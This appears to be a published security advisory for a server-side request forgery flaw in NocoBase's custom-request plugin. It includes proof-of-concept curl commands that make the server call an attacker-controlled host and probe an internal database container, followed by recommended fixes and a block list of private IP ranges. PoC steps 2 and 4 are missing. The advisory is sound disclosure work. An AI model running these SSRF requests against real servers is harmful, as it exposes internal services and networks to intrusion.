Vulnerability GHSA-wrr5-j383-f7h2

Medium Risk
MEDIUM RISK
CVSS Score: 4.3
Score Range: 4.0–6.9
Medium severity vulnerabilities (CVSS 4.0–6.9). Important issues that meaningfully reduce security confidence.
9 hours ago
November 10, 2026 at 07:20 PM UTC
NocoBase: @nocobase/plugin-action-custom-request allows server-side request forgery through runtime URL overrides
>=2.1.0-alpha.8 <2.1.15, >=2.2.0-alpha.1 <2.2.0-alpha.4
>=2.1.0-alpha.8 <2.1.15, >=2.2.0-alpha.1 <2.2.0-alpha.4

Summary

NocoBase: @nocobase/plugin-action-custom-request allows server-side request forgery through runtime URL overrides

Details

Summary

A Server-Side Request Forgery vulnerability exists in NocoBase v2.1.10 in the @nocobase/plugin-action-custom-request plugin.

A low-privileged authenticated user can call the customRequests:send endpoint and override the stored request URL at runtime using options.url. This causes the NocoBase server to perform outbound HTTP requests to attacker-controlled or internal URLs.

  • Product: NocoBase
  • Version: v2.1.10
  • Component: @nocobase/plugin-action-custom-request
  • Severity: Moderate
  • Required privilege: authenticated low-privileged user / member

Testing was performed only in a local Docker lab environment at http://127.0.0.1:13000. No public NocoBase instance was tested.

Lab environment:

  • Docker image: nocobase/nocobase:latest-full
  • Commit: 23e2bd35625439594e4757bac31d57c9e8e695b9
  • Database: PostgreSQL 16
  • Containers: nocobase-lab, nocobase-postgres
  • Docker network: 172.19.0.0/16
  • Important environment variable: SERVER_REQUEST_WHITELIST was not set

PoC

Step 1: Admin creates a valid Custom Request config

First, an administrator creates a valid Custom Request config. This is a setup step only.

BASE="http://127.0.0.1:13000"

curl -i -s -X POST "$BASE/api/customRequests:create" \
  -H "Authorization: Bearer <ADMIN_TOKEN>" \
  -H "Content-Type: application/json" \
  --data '{
    "key": "report-ssrf-demo",
    "options": {
      "url": "https://www.example.com/",
      "method": "GET"
    }
  }'

Expected result:

HTTP/1.1 200 OK

If the key already exists, this setup step can be skipped.

Evidence:

Admin creates Custom Request config

Step 3: Low-privileged user triggers SSRF by overriding options.url

The low-privileged user calls customRequests:send and overrides options.url at runtime:

BASE="http://127.0.0.1:13000"
KALI_IP="192.168.1.139"

curl -i -s -X POST "$BASE/api/customRequests:send?filterByTk=report-ssrf-demo" \
  -H "Authorization: Bearer <LOWPRIV_TOKEN>" \
  -H "Content-Type: application/json" \
  --data "{
    \"options\": {
      \"url\": \"http://$KALI_IP:18080/ssrf-proof\",
      \"method\": \"GET\"
    }
  }"

Expected response:

HTTP/1.1 200 OK

SSRF OK - request came from NocoBase server

Evidence:

Low-privileged user triggers SSRF

Step 5: Internal service reachability test

The same low-privileged user can target an internal Docker service:

curl -i -s -X POST "$BASE/api/customRequests:send?filterByTk=report-ssrf-demo" \
  -H "Authorization: Bearer <LOWPRIV_TOKEN>" \
  -H "Content-Type: application/json" \
  --data '{
    "options": {
      "url": "http://nocobase-postgres:5432/",
      "method": "GET"
    }
  }'

Observed response:

{"message":"socket hang up"}

This indicates that the NocoBase server attempted to connect to the internal PostgreSQL container. PostgreSQL does not speak HTTP, so the connection is closed, but the internal reachability is confirmed.

Recommended Fix

  1. Restrict customRequests:send to administrators or specifically authorized roles.
- this.app.acl.allow('customRequests', ['send'], 'loggedIn');
+ this.app.acl.allow('customRequests', ['send'], 'admin');
  1. Do not allow low-privileged users to override stored request URLs at runtime.

  2. Require SERVER_REQUEST_WHITELIST by default in production Docker images.

  3. Block private/internal IP ranges by default, including:

127.0.0.0/8
10.0.0.0/8
172.16.0.0/12
192.168.0.0/16
169.254.0.0/16
::1/128
fc00::/7
  1. Resolve DNS and validate the final resolved IP address before making the outbound request.

  2. Revalidate the target after redirects.

  3. Add SSRF regression tests for:

localhost
127.0.0.1
Docker service names
private IP ranges
Docker gateway IP
169.254.169.254
redirects to private IP ranges

Timeline

Published
9 hours ago
November 10, 2026 at 07:20 PM UTC
Last Modified
9 hours ago
November 10, 2026 at 07:30 PM UTC